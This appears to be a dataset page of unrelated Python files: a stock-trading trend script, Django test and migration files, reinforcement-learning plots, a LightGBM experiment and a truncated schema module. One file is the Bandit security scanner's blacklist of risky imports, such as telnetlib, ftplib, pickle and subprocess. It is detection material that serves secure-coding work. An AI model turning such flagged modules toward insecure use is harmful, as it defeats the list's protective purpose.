Reset23/the-stack-v2-processed · Datasets at Hugging Face

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penguinwang96825/Auto-Trading

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# -*- coding: UTF-8 -*- # 載入相關套件 import datetime,function,indicator import talib,numpy import sys # 取得當天日期 Date=datetime.datetime.now().strftime("%Y%m%d") # 測試股票下單 Sid=sys.argv[1] # 趨勢判斷 Trend=0 TrendEndTime=datetime.datetime.strptime(Date+'09:30:00','%Y%m%d%H:%M:%S') BSPower2= indicator.BSPower2() for i in function.getSIDMatch(Date,Sid): time=datetime.datetime.strptime(Date+i[0],'%Y%m%d%H:%M:%S.%f') price=float(i[2]) qty=int(i[3]) ask=float(i[5]) bid=float(i[6]) BSPower2.Add(price,qty,ask,bid) if time > TrendEndTime: sig = BSPower2.Get() if sig[0] > sig[1]: print('當日只做多單') Trend=1 break elif sig[0] < sig[1]: print('當日只做空單') Trend=-1 break else: print('當日趨勢不明') break

[ "penguinwang@smail.nchu.edu.tw" ]

penguinwang@smail.nchu.edu.tw

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/Chips/Or4Way.py

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from src.TestCaseGenerator import * input_variables = [Var("a", 4, "B"), Var("b", 4, "B")] output_variables = [Var("out", 1, "B")] # args = [in, sel] def or4way_logic(args): a = args[0] out = [] if a > 0: out.append(1) else: out.append(0) return out generate(name="Or4Way", numCases=10, inVars=input_variables, outVars=output_variables, function=or4way_logic)

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/myenv/lib/python3.5/site-packages/bandit/blacklists/imports.py

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rupeshparab/techscan

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# -*- coding:utf-8 -*- # # Copyright 2016 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. r""" ====================================================== Blacklist various Python imports known to be dangerous ====================================================== This blacklist data checks for a number of Python modules known to have possible security implications. The following blacklist tests are run against any import statements or calls encountered in the scanned code base. Note that the XML rules listed here are mostly based off of Christian Heimes' work on defusedxml: https://pypi.python.org/pypi/defusedxml B401: import_telnetlib ---------------------- A telnet-related module is being imported. Telnet is considered insecure. Use SSH or some other encrypted protocol. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B401 | import_telnetlib | - telnetlib | high | +------+---------------------+------------------------------------+-----------+ B402: import_ftplib ------------------- A FTP-related module is being imported. FTP is considered insecure. Use SSH/SFTP/SCP or some other encrypted protocol. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B402 | inport_ftplib | - ftplib | high | +------+---------------------+------------------------------------+-----------+ B403: import_pickle ------------------- Consider possible security implications associated with these modules. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B403 | import_pickle | - pickle | low | | | | - cPickle | | +------+---------------------+------------------------------------+-----------+ B404: import_subprocess ----------------------- Consider possible security implications associated with these modules. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B404 | import_subprocess | - subprocess | low | +------+---------------------+------------------------------------+-----------+ B405: import_xml_etree ---------------------- Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B405 | import_xml_etree | - xml.etree.cElementTree | low | | | | - xml.etree.ElementTree | | +------+---------------------+------------------------------------+-----------+ B406: import_xml_sax -------------------- Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B406 | import_xml_sax | - xml.sax | low | +------+---------------------+------------------------------------+-----------+ B407: import_xml_expat ---------------------- Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B407 | import_xml_expat | - xml.dom.expatbuilder | low | +------+---------------------+------------------------------------+-----------+ B408: import_xml_minidom ------------------------ Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B408 | import_xml_minidom | - xml.dom.minidom | low | +------+---------------------+------------------------------------+-----------+ B409: import_xml_pulldom ------------------------ Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package, or make sure defusedxml.defuse_stdlib() is called. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B409 | import_xml_pulldom | - xml.dom.pulldom | low | +------+---------------------+------------------------------------+-----------+ B410: import_lxml ----------------- Using various methods to parse untrusted XML data is known to be vulnerable to XML attacks. Replace vulnerable imports with the equivalent defusedxml package. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B410 | import_lxml | - lxml | low | +------+---------------------+------------------------------------+-----------+ B411: import_xmlrpclib ---------------------- XMLRPC is particularly dangerous as it is also concerned with communicating data over a network. Use defused.xmlrpc.monkey_patch() function to monkey-patch xmlrpclib and mitigate remote XML attacks. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B411 | import_xmlrpclib | - xmlrpclib | high | +------+---------------------+------------------------------------+-----------+ B412: import_httpoxy -------------------- httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments. The use of CGI for web applications should be avoided to prevent this class of attack. More details are available at https://httpoxy.org/. +------+---------------------+------------------------------------+-----------+ | ID | Name | Imports | Severity | +======+=====================+====================================+===========+ | B412 | import_httpoxy | - wsgiref.handlers.CGIHandler | high | | | | - twisted.web.twcgi.CGIScript | | +------+---------------------+------------------------------------+-----------+ """ from bandit.blacklists import utils def gen_blacklist(): """Generate a list of items to blacklist. Methods of this type, "bandit.blacklist" plugins, are used to build a list of items that bandit's built in blacklisting tests will use to trigger issues. They replace the older blacklist* test plugins and allow blacklisted items to have a unique bandit ID for filtering and profile usage. :return: a dictionary mapping node types to a list of blacklist data """ sets = [] sets.append(utils.build_conf_dict( 'import_telnetlib', 'B401', ['telnetlib'], 'A telnet-related module is being imported. Telnet is ' 'considered insecure. Use SSH or some other encrypted protocol.', 'HIGH' )) sets.append(utils.build_conf_dict( 'import_ftplib', 'B402', ['ftplib'], 'A FTP-related module is being imported. FTP is considered ' 'insecure. Use SSH/SFTP/SCP or some other encrypted protocol.', 'HIGH' )) sets.append(utils.build_conf_dict( 'import_pickle', 'B403', ['pickle', 'cPickle'], 'Consider possible security implications associated with ' '{name} module.', 'LOW' )) sets.append(utils.build_conf_dict( 'import_subprocess', 'B404', ['subprocess'], 'Consider possible security implications associated with ' '{name} module.', 'LOW' )) # Most of this is based off of Christian Heimes' work on defusedxml: # https://pypi.python.org/pypi/defusedxml/#defusedxml-sax xml_msg = ('Using {name} to parse untrusted XML data is known to be ' 'vulnerable to XML attacks. Replace {name} with the equivalent ' 'defusedxml package, or make sure defusedxml.defuse_stdlib() ' 'is called.') lxml_msg = ('Using {name} to parse untrusted XML data is known to be ' 'vulnerable to XML attacks. Replace {name} with the ' 'equivalent defusedxml package.') sets.append(utils.build_conf_dict( 'import_xml_etree', 'B405', ['xml.etree.cElementTree', 'xml.etree.ElementTree'], xml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_xml_sax', 'B406', ['xml.sax'], xml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_xml_expat', 'B407', ['xml.dom.expatbuilder'], xml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_xml_minidom', 'B408', ['xml.dom.minidom'], xml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_xml_pulldom', 'B409', ['xml.dom.pulldom'], xml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_lxml', 'B410', ['lxml'], lxml_msg, 'LOW')) sets.append(utils.build_conf_dict( 'import_xmlrpclib', 'B411', ['xmlrpclib'], 'Using {name} to parse untrusted XML data is known to be ' 'vulnerable to XML attacks. Use defused.xmlrpc.monkey_patch() ' 'function to monkey-patch xmlrpclib and mitigate XML ' 'vulnerabilities.', 'HIGH')) sets.append(utils.build_conf_dict( 'import_httpoxy', 'B412', ['wsgiref.handlers.CGIHandler', 'twisted.web.twcgi.CGIScript', 'twisted.web.twcgi.CGIDirectory'], 'Consider possible security implications associated with ' '{name} module.', 'HIGH' )) return {'Import': sets, 'ImportFrom': sets, 'Call': sets}

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/apps/facebook/tests/urls.py

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import os from django.conf.urls.defaults import include, patterns, url from django.http import HttpResponse from django.template import RequestContext from funfactory.manage import ROOT from jingo import env def base_template_view(request): template = env.from_string(""" {% extends 'facebook/base.html' %} {% block content %}test{% endblock %} """) return HttpResponse(template.render(RequestContext(request))) urlpatterns = patterns('', # Include base urls to avoid NoReverseMatch errors. (r'', include('%s.urls' % os.path.basename(ROOT))), url('^fb/test$', base_template_view, name='facebook.base_test'), )

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/tests/_testsite/apps/forum_conversation/migrations/0011_topic_dummy.py

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ellmetha/django-machina

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# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('forum_conversation', '0010_auto_20170120_0224'), ] operations = [ migrations.AddField( model_name='topic', name='dummy', field=models.CharField(max_length=128, null=True, blank=True), preserve_default=True, ), ]

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FedeClaudi/EscapePathSelection

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# %% import pandas as pd import matplotlib.pyplot as plt import numpy as np from loguru import logger import matplotlib as mpl from mpl_toolkits.axes_grid1 import make_axes_locatable from fcutils.plot.figure import clean_axes from fcutils.plot.elements import plot_mean_and_error from fcutils.maths import rolling_mean import sys from pathlib import Path import os module_path = Path(os.path.abspath(os.path.join("."))).parent.parent sys.path.append(str(module_path)) sys.path.append('./') from figures.third import MODELS_COLORS, MODELS, MAZES, fig_3_path from figures.settings import dpi from figures.third import PsychometricM1, PsychometricM6, QTableModel, DynaQModel, InfluenceZones, Status, QTableTracking, DynaQTracking, InfluenceZonesTracking from figures.third.settings import TRAINING_SETTINGS, RANDOM_INIT_POS, REWARDS from figures.settings import dpi ''' Plot the escape trajectories of trained agents ''' # %% logger.remove() logger.add(sys.stdout, level='INFO') # -------------------------------- parameters -------------------------------- # # change training settings to reflect parametsr TRAINING_SETTINGS['episodes'] = 250 TRAINING_SETTINGS['max_n_steps'] = 500 # def plot_maze(states_counts, name, exploration): # norm=mpl.colors.LogNorm(vmin=0, vmax=500) # f, ax = plt.subplots() # ax.scatter( # [k[0] for k,v in states_counts.items() if v>0], # [k[1] for k,v in states_counts.items() if v>0], # c=[v for v in states_counts.values() if v>0], # vmin=1, vmax=500, cmap='bwr', lw=1, edgecolors=['k'], marker='s', s=65, norm=norm, # ) # ax.set(ylim=[50, 0], title=name + ' ' + exploration) # ax.axis('equal') # ax.axis('off') # divider = make_axes_locatable(ax) # cax = divider.append_axes('right', size='5%', pad=0.1) # cmap = mpl.cm.bwr # # norm = mpl.colors.Normalize(vmin=1, vmax=500) # f.colorbar(mpl.cm.ScalarMappable(norm=norm, cmap=cmap), # cax=cax, orientation='vertical', label='# visits') # f.savefig(fig_3_path / f'{name}_{exploration}_exploration_occupancy.eps', format='eps', dpi=dpi) # %% # ---------------------------------------------------------------------------- # # FREE EXPL # # ---------------------------------------------------------------------------- # def plot(agent, trajectories, name, exploration): f, ax = plt.subplots(figsize=(9, 9)) for traj in trajectories: ax.plot([s[0] for s in traj], [s[1] for s in traj], color='w', lw=8, zorder=1) ax.plot([s[0] for s in traj], [s[1] for s in traj], color='r', lw=6, zorder=2) # draw maze x, y = np.where(agent.environment.maze == 0)[::-1] ax.scatter( x, y, color=[.8, .8, .8], lw=1, edgecolors=['k'], marker='s', s=250, zorder=-1 ) ax.set(ylim=[50, 0], title=name) ax.axis('equal') ax.axis('off') f.savefig(fig_3_path / f'{name}_{exploration}_escape_trajectories.eps', format='eps', dpi=dpi) agents = { # 'QTable':QTableModel, # 'DynaQ_20': DynaQModel, 'InfluenceZonesNoSheltVec':InfluenceZones, } agent_kwargs = { 'QTable':dict(learning_rate=.9, penalty_move = 1e-8), 'DynaQ_20':dict(n_planning_steps=20), 'InfluenceZonesNoSheltVec':dict(predict_with_shelter_vector=False, learning_rate=.2, discount=.8), } maze = PsychometricM1 for n, (name, model) in enumerate(agents.items()): trajectories = [] for i in range(3): logger.info(f' training agent: {name} ') # remove duplicate parameters settings = TRAINING_SETTINGS.copy() rewards = REWARDS.copy() for param in agent_kwargs[name].keys(): if param in settings.keys(): # print(f'[dim]Overring default settings value for {param}') del settings[param] # adjust rewards per model if param in rewards.keys(): # print(f'[dim]Overring default reward value for {param}') rewards[param] = agent_kwargs[name][param] # create an instance _maze = maze(rewards) _maze.build_graph() _maze.shelter_found = False agent = model(_maze, name=_maze.name, **settings, **agent_kwargs[name]) # train agent.train(random_start=RANDOM_INIT_POS, episodes=TRAINING_SETTINGS['episodes'], test_performance=True) # test status, play_steps, play_reward, escape_arm, states = _maze.play(agent, start_cell=_maze.START) trajectories.append(states) # draw trajectories plot(agent, trajectories, name, 'free') # %% # %% # ---------------------------------------------------------------------------- # # GUIDED EXPL # # ---------------------------------------------------------------------------- # sessions = [36, 24, 25] agents = { 'QTable':QTableTracking, 'DynaQ_20':DynaQTracking, 'InfluenceZonesNoSheltVec':InfluenceZonesTracking, } agent_kwargs = { 'QTable':dict(learning_rate=.9), 'DynaQ_20':dict(n_planning_steps=20), 'InfluenceZonesNoSheltVec':dict(predict_with_shelter_vector=False, learning_rate=.2, discount=.8), } # iterate over mazes and models for name, model in agents.items(): # agent specific settings agent_settings = TRAINING_SETTINGS.copy() agent_rewards = REWARDS.copy() for param in agent_kwargs[name].keys(): if param in agent_settings.keys(): del agent_settings[param] # adjust rewards per model if param in agent_rewards.keys(): agent_rewards[param] = agent_kwargs[name][param] # iterate over trials trajectories = [] for session_number in sessions: # instantiate model and maze _maze = maze(agent_rewards) _model = model( _maze, 'M1', take_all_actions=False, trial_number=session_number, name=_maze.name, **agent_settings, **agent_kwargs[name]) # train _model.train(film=False) # test status, play_steps, play_reward, escape_arm, states = _maze.play(_model, start_cell=_maze.START) trajectories.append(states) plot(_model, trajectories, name, 'guided') # %%

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import numpy as np import pandas as pd import lightgbm as lgb import datetime import math import gc import time import pickle from sklearn.model_selection import train_test_split since = time.time() data_dir = '../data/' save_dir = '../saves/' load_name = 'train_set' dt = pickle.load(open(save_dir+load_name+'_dict.save', "rb")) df = pd.read_csv(save_dir+load_name+".csv", dtype=dt) del dt # barebone = True barebone = False if barebone: ccc = [i for i in df.columns] ccc.remove('target') df.drop(ccc, axis=1, inplace=True) # must be a fake feature inner = [ 'FAKE_[]_0.6788_Light_gbdt_1512883008.csv' ] inner = False def insert_this(on): global df on = on[:-4] df1 = pd.read_csv('../saves/feature/'+on+'.csv') df1.drop('id', axis=1, inplace=True) on = on[-10:] df1.rename(columns={'target': 'FAKE_'+on}, inplace=True) df = df.join(df1) del df1 cc = df.drop('target', axis=1) # print(cc.dtypes) cols = cc.columns del cc counter = {} def get_count(x): try: return counter[x] except KeyError: return 0 def add_this_counter_column(on_in): global counter, df read_from = '../fake/saves/' counter = pickle.load(open(read_from+'counter/'+'ITC_'+on_in+'_dict.save', "rb")) df['ITC_'+on_in] = df[on_in].apply(get_count).astype(np.int64) # counter = pickle.load(open(read_from + 'counter/' + 'CC11_' + on_in + '_dict.save', "rb")) # df['CC11_' + on_in] = df[on_in].apply(get_count).astype(np.int64) # df.drop(on_in, axis=1, inplace=True) for col in cols: print("'{}',".format(col)) # add_this_counter_column(col) cols = ['song_id', 'msno'] for col in cols: # print("'{}',".format(col)) add_this_counter_column(col) def log10me(x): return np.log10(x) def log10me1(x): return np.log10(x+1) def xxx(x): d = x / (x + 1) return x for col in cols: colc = 'ITC_'+col # df[colc + '_log10'] = df[colc].apply(log10me).astype(np.float64) df[colc + '_log10_1'] = df[colc].apply(log10me1).astype(np.float64) # df[colc + '_x_1'] = df[colc].apply(xxx).astype(np.float64) # col1 = 'CC11_'+col # df['OinC_'+col] = df[col1]/df[colc] # df.drop(colc, axis=1, inplace=True) # load_name = 'train_set' # read_from = '../saves01/' # dt = pickle.load(open(read_from+load_name+'_dict.save', "rb")) # train = pd.read_csv(read_from+load_name+".csv", dtype=dt) # del dt # # train.drop( # [ # 'target', # ], # axis=1, # inplace=True # ) # # df = df.join(train) # del train if inner: for i in inner: insert_this(i) print('What we got:') print(df.dtypes) print('number of rows:', len(df)) print('number of columns:', len(df.columns)) num_boost_round = 5 early_stopping_rounds = 50 verbose_eval = 10 boosting = 'gbdt' learning_rate = 0.02 num_leaves = 511 max_depth = -1 max_bin = 255 lambda_l1 = 0.2 lambda_l2 = 0 bagging_fraction = 0.9 bagging_freq = 2 bagging_seed = 2 feature_fraction = 0.9 feature_fraction_seed = 2 params = { 'boosting': boosting, 'learning_rate': learning_rate, 'num_leaves': num_leaves, 'max_depth': max_depth, 'lambda_l1': lambda_l1, 'lambda_l2': lambda_l2, 'max_bin': max_bin, 'bagging_fraction': bagging_fraction, 'bagging_freq': bagging_freq, 'bagging_seed': bagging_seed, 'feature_fraction': feature_fraction, 'feature_fraction_seed': feature_fraction_seed, } # on = [ # 'msno', # 'song_id', # 'target', # 'source_system_tab', # 'source_screen_name', # 'source_type', # 'language', # 'artist_name', # 'song_count', # 'member_count', # 'song_year', # ] # df = df[on] fixed = [ 'target', 'msno', 'song_id', 'source_system_tab', 'source_screen_name', 'source_type', 'artist_name', # 'composer', # 'lyricist', 'song_year', # 'language', # 'top3_in_song', # 'rc', 'ITC_song_id_log10_1', 'ITC_msno_log10_1', # 'ITC_source_system_tab_log10_1', # 'ITC_source_screen_name_log10_1', # 'ITC_source_type_log10_1', # 'ITC_artist_name_log10_1', # 'FAKE_1512883008', ] result = {} for w in df.columns: print("'{}',".format(w)) work_on = [ 'top3_in_song', # 'ITC_composer_log10_1', # 'ITC_lyricist_log10_1', # 'ITC_language_log10_1', # 'ITC_song_year_log10_1', # 'ITC_song_country_log10_1', # 'ITC_rc_log10_1', ] for w in work_on: if w in fixed: pass else: print('working on:', w) toto = [i for i in fixed] toto.append(w) df_on = df[toto] for col in df_on.columns: if df_on[col].dtype == object: df_on[col] = df_on[col].astype('category') print() print('Our guest selection:') print(df_on.dtypes) print('number of columns:', len(df_on.columns)) print() # save_me = True save_me = False if save_me: print(' SAVE ' * 5) print(' SAVE ' * 5) print(' SAVE ' * 5) print('creating train set.') save_name = 'train' vers = '_me2' d = df_on.dtypes.to_dict() # print(d) print('dtypes of df:') print('>' * 20) print(df_on.dtypes) print('number of columns:', len(df_on.columns)) print('number of data:', len(df_on)) print('<' * 20) df_on.to_csv(save_dir + save_name + vers + '.csv', index=False) pickle.dump(d, open(save_dir + save_name + vers + '_dict.save', "wb")) print('done.') length = len(df_on) train_size = 0.76 train_set = df_on.head(int(length*train_size)) val_set = df_on.drop(train_set.index) del df_on train_set = train_set.sample(frac=1) X_tr = train_set.drop(['target'], axis=1) Y_tr = train_set['target'].values X_val = val_set.drop(['target'], axis=1) Y_val = val_set['target'].values del train_set, val_set t = len(Y_tr) t1 = sum(Y_tr) t0 = t - t1 print('train size:', t, 'number of 1:', t1, 'number of 0:', t0) print('train: 1 in all:', t1/t, '0 in all:', t0/t, '1/0:', t1/t0) t = len(Y_val) t1 = sum(Y_val) t0 = t - t1 print('val size:', t, 'number of 1:', t1, 'number of 0:', t0) print('val: 1 in all:', t1/t, '0 in all:', t0/t, '1/0:', t1/t0) print() print() train_set = lgb.Dataset( X_tr, Y_tr, # weight=[0.1, 1] ) # train_set.max_bin = max_bin val_set = lgb.Dataset( X_val, Y_val, # weight=[0.1, 1] ) train_set.max_bin = max_bin val_set.max_bin = max_bin del X_tr, Y_tr, X_val, Y_val params['metric'] = 'auc' params['verbose'] = -1 params['objective'] = 'binary' print('Training...') model = lgb.train(params, train_set, num_boost_round=num_boost_round, early_stopping_rounds=early_stopping_rounds, valid_sets=[train_set, val_set], verbose_eval=verbose_eval, ) print('best score:', model.best_score['valid_1']['auc']) print('best iteration:', model.best_iteration) del train_set, val_set print('complete on:', w) result[w] = model.best_score['valid_1']['auc'] print() print(model.feature_name()) print(model.feature_importance()) import operator sorted_x = sorted(result.items(), key=operator.itemgetter(1)) # reversed(sorted_x) # print(sorted_x) for i in sorted_x: name = i[0] + ': ' name = name.rjust(40) name = name + str(i[1]) print(name) print() time_elapsed = time.time() - since print('[timer]: complete in {:.0f}m {:.0f}s'.format( time_elapsed // 60, time_elapsed % 60)) '''1,2, artist name'''

[ "geemguang@gmail.com" ]

geemguang@gmail.com

1bb914908b9a0071556fbc47a8343135d70438a3

da7d1008d925872317bcbe8b5f1e4f00a79d0936

/cloudywatch/manage.py

d1e93db31df166038f0669f71b3b47f7bbf152c7

[]

no_license

gregdingle/cloudywatch

b08b32ca50bb958bc30796c4d1482755c46978b2

009651f6302f7bb12b5cd46bcb7161b278d7dfbb

refs/heads/master

2021-01-01T15:35:53.760805

2013-11-20T12:28:21

null

0

null

UTF-8

Python

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630

py

#!/usr/bin/env python from django.core.management import execute_manager try: import settings # Assumed to be in the same directory. except ImportError: import sys sys.stderr.write("Error: Can't find the file 'settings.py' in the directory containing %r. It appears you've customized things.\nYou'll have to run django-admin.py, passing it your settings module.\n(If the file settings.py does indeed exist, it's causing an ImportError somehow.)\n" % __file__) sys.exit(1) # Django should be at least 1.5 import django assert django.VERSION[0:2] == (1, 5) if __name__ == "__main__": execute_manager(settings)

[ "ppr.vitaly@gmail.com" ]

ppr.vitaly@gmail.com

f3321310fe951e0106df38b5b260515ed0fdf383

266ffd65306f964c2c7cd50d9e8c3c409eee73ee

/thedeployer/libs/XSV/infoset/indNorm/reflect.py

0ddd0388bee28b0036fa760db358a26bd7a2bdef

[]

no_license

vimov/Deployer

3d543dd5c53c675217f0e3c7fc7034c86bffae75

dbcdde0d83ee49a2812d4f65bb13ff78ce865da9

refs/heads/master

2021-01-25T04:52:49.317670

2012-09-17T15:24:37

null

0

null

UTF-8

Python

false

33,296

py

"""Individual normal form: Reflect instances as XML doc in INF""" __version__="$Revision: 1.10 $" # $Id: reflect.py,v 1.10 2005-08-10 20:32:08 ht Exp $ import types from XSV.infoset import PSVInfoset from XSV.infoset import XMLInfoset from XSV.compile.List import List from XSV.compile.Union import Union from XSV.compile.ComplexType import ComplexType from XSV.compile.Group import Group, ModelGroup from XSV.compile.Particle import Particle from XSV.compile.Wildcard import Wildcard from XSV.compile.Element import Element from XSV.compile.AttributeUse import AttributeUse from XSV.compile.Attribute import Attribute from XSV.compile.AttributeGroup import AttributeGroup from XSV.compile.Annotation import Annotation from XSV.compile.KCons import Kcons, Key, Keyref, Unique from XSV.compile.AnyAttribute import AnyAttribute from XSV.compile.AbInitio import AbInitio from XSV.compile.DDummy import DumpedSchema, namespaceSchemaInformation from XSV.compile.DDummy import contentType, namespaceConstraint, valueConstraint from XSV.compile.DDummy import xpathTemp, schemaDocument from XSV.compile.Facet import Facet from XSV.compile.ListFacet import Pattern from XSV.compile.Component import Component from XSV.compile.AbInitio import AbInitio from XSV.compile.SimpleType import SimpleType from XSV.compile.Type import Type from XSV.compile import XMLSchemaNS, simpleTypeMap, builtinPats from XSV.compile.SchemaError import shouldnt def setup(): List.reflectedName='list' List.reflectionInMap=(('name','string',1,'name'), ('targetNamespace','string',1,'targetNamespace'), (('atomic','list'),'component',0,'basetype'), ('lvariety','aspecial',0,'varietyReflect'), (('facet','enumeration','fractionDigits', 'minFractionDigits', 'precision', 'lexicalMappings','minInclusive', 'pattern','whiteSpace'), 'esspecial',0,'facetsReflect'), ('final','list',0,'final'), (('atomic','list','union'),'component',1,'itemType'), (('annotation',),'components',0,'annotations') # not per REC, # but correct ) List.reflectionOutMap=List.reflectionInMap Union.reflectedName='union' Union.reflectionInMap=(('name','string',1,'name'), ('targetNamespace','string',1,'targetNamespace'), (('atomic','union'),'component',0,'basetype'), ('uvariety','aspecial',0,'varietyReflect'), (('facet','enumeration','fractionDigits', 'minFractionDigits', 'precision', 'lexicalMappings','minInclusive', 'pattern','whiteSpace'), 'esspecial',0,'facetsReflect'), ('final','list',0,'final'), (('atomic','list'),'components',1,'memberTypes'), (('annotation',),'components',0,'annotations') # not per REC, # but correct ) Union.reflectionOutMap=Union.reflectionInMap ComplexType.reflectedName='complexTypeDefinition' ComplexType.reflectionInMap=(('name','string',1,'name'), ('targetNamespace','string',1,'targetNamespace'), (('complexTypeDefinition','atomic','union','list'), 'component',1,'basetype'), ('derivationMethod','string',1,'derivationMethod'), ('final','list',0,'final'), ('abstract','boolean',0,'abstract'), (('attributeUse',),'esspecial',1,'attributesReflect'), (('attributeWildcard','wildcard'), 'especial',1,'attributeWildcardReflect'), (('contentType',),'especial',0,'contentTypeReflect'), ('prohibitedSubstitutions','list', 0,'prohibitedSubstitutions'), (('annotation',),'components',0,'annotations')) ComplexType.reflectionOutMap=ComplexType.reflectionInMap ModelGroup.reflectedName='modelGroupDefinition' ModelGroup.reflectionInMap=(('name','string',0,'name'), ('targetNamespace','string',1,'targetNamespace'), (('annotation',),'component',1,'annotation'), (('modelGroup',),'especial',0,'mgReflect')) ModelGroup.reflectionOutMap=ModelGroup.reflectionInMap Group.reflectedName='modelGroup' Group.reflectionInMap=(('compositor','string',0,'compositor'), (('particle',), 'components',0,'particles'), (('annotation',),'component',1,'annotation')) Group.reflectionOutMap=Group.reflectionInMap Particle.reflectedName='particle' Particle.reflectionInMap=(('minOccurs','string',0,'minOccurs'), ('maxOccurs','string',0,'maxOccurs'), ('minOccurs','aspecial',0,'occursReflect'), # hack, # for rebuild only (('elementDeclaration','wildcard','modelGroup'), 'component',0,'term')) Particle.reflectionOutMap=Particle.reflectionInMap Wildcard.reflectedName='wildcard' Wildcard.reflectionInMap=((('namespaceConstraint',),'especial', 0,'wildcardNamespaceReflect'), ('processContents','string',0,'processContents'), (('annotation',),'component',1,'annotation')) Wildcard.reflectionOutMap=Wildcard.reflectionInMap Element.reflectedName='elementDeclaration' Element.reflectionInMap=(('name','string',0,'name'), ('targetNamespace','string',1,'targetNamespace'), (('complexTypeDefinition','atomic','union','list'), 'component',1,'typeDefinition'), (('valueConstraint',),'especial',1,'vcReflect'), ('nillable','boolean',0,'nullable'), ('scope','aspecial',1,'scopeReflect'), (('key','unique','keyref'),'esspecial', 0,'icsReflect'), (('elementDeclaration',), 'component',1,'equivalenceClassAffiliation'), ('substitutionGroupExclusions','list',0,'final'), ('disallowedSubstitutions','list', 0,'prohibitedSubstitutions'), ('abstract','boolean',0,'abstract'), (('annotation',),'component',1,'annotation')) Element.reflectionOutMap=Element.reflectionInMap AttributeUse.reflectedName='attributeUse' AttributeUse.reflectionInMap=(('required','boolean',0,'minOccurs'), (('attributeDeclaration',),'component', 0,'attributeDeclaration'), (('valueConstraint',),'especial',1,'vcReflect')) AttributeUse.reflectionOutMap=AttributeUse.reflectionInMap Attribute.reflectedName='attributeDeclaration' Attribute.reflectionInMap=(('name','string',0,'name'), ('targetNamespace','string',1,'targetNamespace'), ('scope','aspecial',1,'scopeReflect'), (('atomic','list','union'),'component',1,'typeDefinition'), (('valueConstraint',),'especial',1,'vcReflect'), (('annotation',),'component',1,'annotation')) Attribute.reflectionOutMap=Attribute.reflectionInMap AttributeGroup.reflectedName='attributeGroupDefinition' AttributeGroup.reflectionInMap=(('name','string',0,'name'), ('targetNamespace','string',1,'targetNamespace'), (('attributeUse',),'esspecial',1,'attributesReflect'), (('attributeWildcard','wildcard'), 'especial',1,'attributeWildcardReflect'), (('annotation',),'component',1,'annotation')) AttributeGroup.reflectionOutMap=AttributeGroup.reflectionInMap Annotation.reflectedName='annotation' Annotation.reflectionInMap=((('XML.Element',),'components',0,'appinfo'), (('XML.Element',),'components',0,'documentation'), (('XML.Attribute',),'components',0,'attrs')) Annotation.reflectionOutMap=Annotation.reflectionInMap Key.reflectedName=Key.cname Keyref.reflectedName=Keyref.cname Unique.reflectedName=Unique.cname Kcons.reflectionInMap=(('name','string',0,'name'), ('targetNamespace','string',1,'targetNamespace'), (('selector','xpath'),'especial',0,'selectorReflect'), (('fields','xpath'),'especial',0,'fieldsReflect'), (('key',),'component',1,'refer'), (('annotation',),'component',1,'annotation')) Kcons.reflectionOutMap=Kcons.reflectionInMap AnyAttribute.reflectedName='wildcard' AbInitio.reflectedName='atomic' AbInitio.reflectionInMap=(('name','string',1,'name'), ('targetNamespace','string',1,'targetNamespace'), (('atomic',),'component',0,'basetype'), (('atomic',),'component',0,'primitiveType'), (('facet','enumeration','fractionDigits', 'minFractionDigits', 'precision', 'lexicalMappings', 'minInclusive', 'pattern','whiteSpace'), 'esspecial',0,'facetsReflect'), # XXX (('fundamentalFacet',),'esspecial',0, 'fundamentalFacetsReflect'), # XXX ('final','list',0,'final'), (('annotation',),'components',0,'annotations') # not per REC, # but correct ) AbInitio.reflectionOutMap=AbInitio.reflectionInMap DumpedSchema.reflectionInMap=((('namespaceSchemaInformation',), 'components',0,'schemaInformation'),) DumpedSchema.reflectionOutMap=DumpedSchema.reflectionInMap namespaceSchemaInformation.reflectionInMap=((('elementDeclaration', 'complexTypeDefinition', 'atomic','union','list','attributeDeclaration', 'modelGroupDefinition','attributeGroupDefinition', 'schemaDocument'), 'components',0,'components'), 